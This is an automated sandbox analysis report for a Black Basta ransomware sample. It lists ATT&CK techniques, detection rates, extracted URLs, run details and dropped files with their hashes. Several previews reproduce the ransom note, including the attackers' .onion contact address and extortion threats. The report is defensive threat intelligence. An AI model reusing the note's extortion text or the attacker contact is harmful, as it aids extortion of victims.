Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Proxy	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WIFCgRK79c.dll	58%	ReversingLabs	Win64.Ransomware.Basta
WIFCgRK79c.dll	64%	Virustotal		Browse
WIFCgRK79c.dll	100%	Avira	TR/Ransom.avsms

Source	Detection	Scanner	Label	Link
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://blocked.cdn.mozilla.net/	0%	URL Reputation	safe
https://mathiasbynens.be/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
http://detectportal.firefox.com/success.txt?ipv4	0%	URL Reputation	safe
https://html.spec.whatwg.org/#flow-content-3	0%	Virustotal		Browse
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	0%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
https://html.spec.whatwg.org/#flow-content-3	omni.ja0.3.dr	false	0%, Virustotal, Browse	unknown
https://tools.iet	omni.ja0.3.dr	false		unknown
http://www.microsoft..	C2RINTL.nb-no.dll.3.dr	false		unknown
https://services.addons.mozilla.org/api/v	omni.ja0.3.dr	false		unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	omni.ja0.3.dr	false	0%, Virustotal, Browse	unknown
https://html.spec.what	omni.ja0.3.dr	false		unknown
https://bugzilla.mozilla.org/sh	omni.ja0.3.dr	false		unknown
https://html.spec.whatwg.org/#the-details-and-summary-elements	omni.ja0.3.dr	false		unknown
https://developers.google.com/safe-browsing/v4/advisory	omni.ja0.3.dr	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-htm	omni.ja0.3.dr	false		unknown
https://crbug.com/993268	omni.ja0.3.dr	false		unknown
http://mozilla.org/MPL/2.0/	omni.ja0.3.dr	false		unknown
https://www.torproject.org/	rundll32.exe, 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.1870038503.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, WIFCgRK79c.dll, instructions_read_me.txt105.3.dr, instructions_read_me.txt148.3.dr, instructions_read_me.txt56.3.dr, instructions_read_me.txt57.3.dr, instructions_read_me.txt133.3.dr, instructions_read_me.txt191.3.dr, instructions_read_me.txt217.3.dr	true		unknown
https://webcompat.com/issues/new	omni.ja0.3.dr	false		unknown
http://mozilla.o	omni.ja0.3.dr	false		unknown
https://%LOCALE%.phish-error.mozilla	omni.ja0.3.dr	false		unknown
http://dev.w3.org/html5/spec/rendering.html#rendering	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#s	omni.ja0.3.dr	false		unknown
https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#	omni.ja0.3.dr	false		unknown
http://mozilla.org/MPL/2.0/.	omni.ja0.3.dr	false		unknown
https://github.com/google/closure-compiler/	omni.ja0.3.dr	false		unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows	omni.ja0.3.dr	false		unknown
https://github.com/whatwg/html/issues/8610	omni.ja0.3.dr	false		unknown
https://github.com/lit/lit/issues/1266	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-ht	omni.ja0.3.dr	false		unknown
https://%LOCALE%.phish-error.mozilla.com/?url=	omni.ja0.3.dr	false		unknown
https://github.com/	omni.ja0.3.dr	false		unknown
https://github.com/w3c/csswg-drafts/issues/4650	omni.ja0.3.dr	false		unknown
https://xhr.spec.whatwg.org/#sync-warning	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryptio	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis	omni.ja0.3.dr	false		unknown
https://blocked.cdn.mozilla.net/	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html	omni.ja0.3.dr	false		unknown
http://crl.globalsign.	Au3Check.exe.3.dr	false		unknown
https://github.com/lit/lit/blob/	omni.ja0.3.dr	false		unknown
https://incoming.telemetry.mozilla.or	omni.ja0.3.dr	false		unknown
https://github.com/w3c/csswg-drafts/issues/1072	omni.ja0.3.dr	false		unknown
https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2	omni.ja0.3.dr	false		unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab	omni.ja0.3.dr	false		unknown
https://developer.mozilla.org/en-US/docs/Web/Cw	formautofill@mozilla.org.xpi.3.dr	false		unknown
https://tools.ietf.org/html/rfc7515#appendix-C)	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1	omni.ja0.3.dr	false		unknown
http://crl3.digicert.c	softokn3.dll.3.dr	false		unknown
https://mathiasbynens.be/	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/css-lists-3/#ua-stylesheet	omni.ja0.3.dr	false		unknown
http://mozilla.or	omni.ja0.3.dr	false		unknown
http://mozilla.org/MPL/2	formautofill@mozilla.org.xpi.3.dr, omni.ja0.3.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1592344	omni.ja0.3.dr	false		unknown
https://lit.dev/docs/templates/	omni.ja0.3.dr	false		unknown
https://mozilla.org0/	pingsender.exe.3.dr, qipcap64.dll.3.dr, softokn3.dll.3.dr	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.	omni.ja0.3.dr	false		unknown
http://www.ethiopic.org/Collat	omni.ja0.3.dr	false		unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section	omni.ja0.3.dr	false		unknown
https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae	omni.ja0.3.dr	false		unknown
https://api.accounts.firefox.com/v1	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/	rundll32.exe, rundll32.exe, 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.1870038503.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, WIFCgRK79c.dll, instructions_read_me.txt105.3.dr, instructions_read_me.txt148.3.dr, instructions_read_me.txt56.3.dr, instructions_read_me.txt57.3.dr, instructions_read_me.txt133.3.dr, instructions_read_me.txt191.3.dr, instructions_read_me.txt217.3.dr	true		unknown
https://mathiasbynens.be/notes/javascript-escap	omni.ja0.3.dr	false		unknown
https://bugzilla.mozilla.	omni.ja0.3.dr	false		unknown
https://relay.firefox.com/api/v1/	omni.ja0.3.dr	false		unknown
http://cacerts.dim	qipcap64.dll.3.dr	false		unknown
https://html.spec.whatwg.org/#bidi-rendering	omni.ja0.3.dr	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	omni.ja0.3.dr	false		unknown
https://safebrowsing.google.com/safebrowsing/down	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryp	omni.ja0.3.dr	false		unknown
https://firefox-source-docs.mozilla.org/toolkit/components/t	omni.ja0.3.dr	false		unknown
https://github.com/w3c/csswg	omni.ja0.3.dr	false		unknown
http://crl.3d	MavInject32.exe.3.dr	false		unknown
http://cacerts.diV	pingsender.exe.3.dr	false		unknown
http://jsperf.com/code-review-1480	omni.ja0.3.dr	false		unknown
https://%LOCALE%.malware-error.mozilla.com/?url=	omni.ja0.3.dr	false		unknown
http://www.mozilla.K	formautofill@mozilla.org.xpi.3.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1539075	omni.ja0.3.dr	false		unknown
https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop	omni.ja0.3.dr	false		unknown
https://%LOCALE%.phish-report.mozilla.com/?url=	omni.ja0.3.dr	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture	omni.ja0.3.dr	false		unknown
https://sb-ssl.google.com/safebrowsing/clientrepor	omni.ja0.3.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1607439	omni.ja0.3.dr	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://tools.ietf.o	omni.ja0.3.dr	false		unknown
http://mozilla.org/MPL	omni.ja0.3.dr	false		unknown
https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Place	omni.ja0.3.dr	false		unknown
https://profiler.firefox.co	omni.ja0.3.dr	false		unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts	omni.ja0.3.dr	false		unknown
https://w3c.github.io/mathml-core/#dfn-seman	omni.ja0.3.dr	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	omni.ja0.3.dr	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safeb	omni.ja0.3.dr	false		unknown
https://dap-02.api.divviup.org	omni.ja0.3.dr	false		unknown
https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).	omni.ja0.3.dr	false		unknown
http://mozilla.K	formautofill@mozilla.org.xpi.3.dr	false		unknown
http://crl3.dig	icucnv67.dll.3.dr	false		unknown
http://detectportal.firefox.com/success.txt?ipv4	omni.ja0.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543068
Start date and time:	2024-10-27 07:47:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WIFCgRK79c.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original Sample Name:	1354254499b2e3353708747d36c334074f40c1f726ea7590384f2192c972f8c3.exe
Detection:	MAL
Classification:	mal100.rans.spre.evad.winDLL@10/1731@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 58% Number of executed functions: 9 Number of non-executed functions: 165
Cookbook Comments:	Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:48:20	API Interceptor	1x Sleep call for process: loaddll64.exe modified

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Reputation:	low
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\$WinREAgent\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Reputation:	low
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\PerfLogs\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Reputation:	low
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Au3Check.dat

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13399
Entropy (8bit):	6.740297724220272
Encrypted:	false
SSDEEP:	192:p4AcARaqt2PHT78tTBBmlC9LVIpcm3shemhTBclT6PrY7pOgTM/Lb8+sS:pLcAhtGUtyc9LVze2c16zY75TAb8q
MD5:	4C1469D1F688112CD8FD56DD50182BD7
SHA1:	200876D2D2CE9DF59BCDF468F39B2AC290DC389C
SHA-256:	2A50D481B88EBC8CCE0E32885B11991F6C4899F30BB0C8AAAB974611EE1C1E85
SHA-512:	E2C659B1C344D8ED43D139BD45675F79E1246DD2E7A8ABA4CBF9DF7DEC99249DD8C7F2318F79F2C8847B3EC984F13CAD5E231971CE573C6DDF1F1F0AEAB33F5E
Malicious:	false
Reputation:	low
Preview:	.!..y. .Q\R...q..4....B..\.U..v@.Tk..:6..(..i.t`........g..e @AutoItPID @AutoItVersion @AutoItX64 @COM_EventObj @CommonFilesDir @Compiled @ComputerName ..@ComSpec @CPUArch @CR @CRLF @DeskO....}.*...c...}........<..l.t.cl..Pv..!.....e.if.....0..=c..fresh @DesktopWidth ..@DocumentsCommonDir @error @exitCode @exitMethod @extended @FavoritesCommonDir @FavoritesDir @GUI_CtrlHandW....E.../.}..X../.4......I....PV.}v... ...?.r.rn........z.(andle @HomeDrive @HomePath @HomeShare @HotKeyPressed @HOUR @IPAddress1 @IPAddress2 ..@IPAddress3 @IPAddress4 @KBLayout @LF @LocaW#..q.$.2.1.....".#...)....]..xm..Te..s......~.rw........^.. ..@MON @MSEC @MUILang @MyDocumentsDir @NumParams @OSArch @OSBuild @OSLang @OSServicePack @OSType ..@OSVersion @ProgramFilesDir {2..b.(...\|...\..F. ...:.._.x..WP.Pt..:6..:..D.tG.....!....p..ptLineNumber @ScriptName @SEC @StartMenuCommonDir ..@StartMenuDir @StartupCommonDir @StartupDir @SW_DISABLE @SW_ENABLE @SW_HIDE {1.._....+F..@../.5.....e.X.MF..jS..

C:\Program Files (x86)\AutoIt3\Au3Check.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	234402
Entropy (8bit):	7.083278680176162
Encrypted:	false
SSDEEP:	3072:Du/qsgvuww1JW0QCH+aO00vS0AgzBsDfUnKGZtZKcpkjT4NF+W/stOzNGY583:DQqsXwaW8O00v3sfEKE+cGjTGT/stg63
MD5:	9A7D1C51ADC7743D1397B3B558C2CBC9
SHA1:	707803D567F319997773BEBFF446F6F5CCBAA2A3
SHA-256:	9CFB84B913D31D345030A0082F6C9889C61AAD946470C5B3D0D9A49DB993B141
SHA-512:	6FE84111CB3AEE5A401154CBD5BA3E531FC2E1357A2A558F8DDA6A075EA7DEC7C01AFEDA5B7B73973C3804265A176602582AE8B8FA2BAD217F1E8283476F1C4D
Malicious:	false
Reputation:	low
Preview:	)........t9]Q..%..$o...[.9x."....j;.[Z.H...st....V.......C........!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-..q1. .0F.p/...F..Cy..v.......(...yX........!..q.........C................PE..L...g.(c.....................6......&........0....@..................................e......................d.T......t9]..%..'o...[..9.."....j;.7Y. ...st....V........C.........................L..@............0..,............................text............................... ..`.rdata...8...0..d.U......t9]..%9.$o.....M..".J.....8.QZ.H...st....V........rsrc........p.......f..............@..@........................................................................................d.T......t9]..%9.$o...[...9x."....j;.[Z.H...st....V.......C................................................................................................................................d.T......t9]..%9.$o...[...9x."....j;*

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	176546
Entropy (8bit):	7.233336788452048
Encrypted:	false
SSDEEP:	3072:uze1SNekw8kVqeyxl9qykQfYO5g8/8jfmLoF52PRX+PzDUK3GuEDEIFOv:gZNNOqFxOykY9Gs+X3M14
MD5:	61747C8918D51F00F919A86A7FBC8975
SHA1:	F11FE747F21CEE43B1346307C47B3BE1EBD516A2
SHA-256:	E33B9EB12CFC91244E425F5B603C2EFDABFDD6AD6DAC7FD39318AD54A1B03D60
SHA-512:	29857BB29E89531FA0E0CBC7A58267CC714AD10EFD21E8DC4FC6866A8AA2147C04AC61668EC3227D1806752CFD5B604AB079294673F95510DD2C3BB22BC6B601
Malicious:	false
Reputation:	low
Preview:	..D.?].m.Y2...{.L.Ys5....w.....wNNA.[lv...!. ..]CY&....P...=`........!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9...k.OT.......B..ya...~..NJ....2w.q.U....z...4 1\|Yn...P...=`PE..L...C.(c.........."......:...........\.......P....@.......................................@.....................................].m..<.#..{gL.Ys5...j.wy.....AN..[l...... ..]CY&....P...=`............@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>...........E..\|].-.=S.rP.{...Ys.....w.+...wNNA.[lv...a. Q./0+E...{P../3`....................@..@.reloc..D....`.......r..............@..B.................................................................E..<].m.Y2..P.{gL.Ys5....w.....wNNA.[lv...!. ..]CY&....P...=`.................................................................................................................................E..<].m.Y2..P.{gL.Ys5....w.....wNNA.[l

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	196002
Entropy (8bit):	7.0961707108804575
Encrypted:	false
SSDEEP:	3072:EXu3O9ZdMwaZgCD9bP6EzBJsDA03JNYUSmWAXVDbXlhIqqXKNXW2L9:EXGbgC5C+3eqoVjIqqaNhL9
MD5:	D1EBCE40881A64206D88021DCE7B5A2A
SHA1:	8D91CBC51FD1A16F26B0629A265DE8458AA9EED0
SHA-256:	79D7DC2B0AE7E00D284C97335A9846A090FAA10D00A38A0A690556B3C9062A47
SHA-512:	D54C70001E364856D604D34B4DD593406735C27626113B08D05EDB31AB62BFA065ED2871138E97D498E7067CA0E3F633F4DF548B821B726739027DA3C0AF3B2A
Malicious:	false
Preview:	.3.......y9....8......d.....K+1..L..>..:Y8N+..^h"...G.Is..rq..........!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X...I.].........O....<fS_.v...>....&:}f...h..'K.:K.\|K..Is..bp..................PE..d...G.(c.........."......J...^......Tr.........@....................................e.....`..................iy......y9TE.........dJ....K+1..N.i>..:y7N..^h"...G.I....V......L.......8............................................`..`............................text....H.......J.................. ..`........8y9T%...)...E.dJ....K+1..L..>...=Y:J..^.....E.Iy..bv..............@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc..L........................ii....@..y9TE.........dJ....K+1..L..>..:Y8N+..^h"...G.Is..bp...................................................................................................................................ii......y9TE.........dJ....K+1..L..>..

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1634714
Entropy (8bit):	7.714401627610644
Encrypted:	false
SSDEEP:	49152:YkeKhWB6pu2LJFmZdzHc4dsPlizysTsKH:1eKhWspJloFHc4O9i0KH
MD5:	EA68429A55D55E3C79A477E9B8381819
SHA1:	C0A6AD56B0245F70F30EC1D7C4852895A6CD5B2E
SHA-256:	BD5A3E408F249BAAA0C19623ED75228E4AD72977A92788A7366561EB65283A9D
SHA-512:	75A492DCBA129FB374FA027E5E88F58EDACDDAD84B4AA1B8567AC8E6171EFB156D749962F624E8829DBF69BB94B1F7ACBB708163B536E5438F42C6ECC435942C
Malicious:	false
Preview:	...]..P[.X).q.t....Z8.'lL.`:.@&.6(4..TD+.v........3Q..rQ....Jo.........!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5.............................R...&.}.z_.[.gy..U.D.....@~..=l..v.G;.Z.Q.~..[......."................PE..L...9.(c..........#..................d............@.......................... ...............................PW]..P[.X)...t....Z<.'l.tg:..7.6(4..TD+....s.....3Q..r.)..NKo.............................@...............X............................text.............................. ..`.rdata..$H........V]..U[.X)...t.2..Zx.',"`.N.@&..h4..tC+.`........3Q..rQ...~Ko!.rsrc...X....p......................@..@.........................................................................................PW]..P[.X)...t.2..Z8.'l..`:.@&.6(4..TD+.v........3Q..rQ...>Ko..................................................................................................................................PW]..P[.X)...t.2..Z8.'l..`:.@&.6(4..TD+

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1800602
Entropy (8bit):	7.656382071636846
Encrypted:	false
SSDEEP:	49152:F7BgLNTFxvvXeOE03H9oz3ivwS5L6cIH+:4LbxbE03dozgw3H+
MD5:	DFB1B4AD1A1649DCE206E4717C58E04F
SHA1:	F866894DCD58B82A4902790931B5733775227591
SHA-256:	45F7BFCF2FF67950DD604122C15E57CDEA4BCEED717ADA0C03DA8418EA035031
SHA-512:	32B3D81F57F140E8D0948DFA5254F38EAEA518E008A9425780F42C9139F9CAE59F35BBB064EA1F400DF9555A3FC9490B64F2FAC2DEFFE03498D38F6821C50DC4
Malicious:	false
Preview:	..>w... a..F.>o.@.K...\O..z..g...,L...P....:v...LhC.)-......\.........!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...p..H.......y....<.J..4X...N...".u..Eg\........8@np.Q=..1.@..z..E`.........PE..d...>.(c..........#..........0......(..........@....................................4..... ..........................w... e...R>oL@.K...\...z.g...&L..P.4........sC..-......]..n..p...................0p..(...0o...............0...............................text............................... ..`.rdata..~r.w... e`..p9oL@.K...\...zn.gC.rM8...P~...:F...lhC..$......].....@....pdata...e.......f...@..............@..@.rsrc...X...........................@..@.........................................w... e...R>oL@.K...\...z..g...,L...P....:v...LhC.)-......]..................................................................................................................................w... e...R>oL@.K...\...z..g...,L...P

C:\Program Files (x86)\AutoIt3\Aut2Exe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	305466
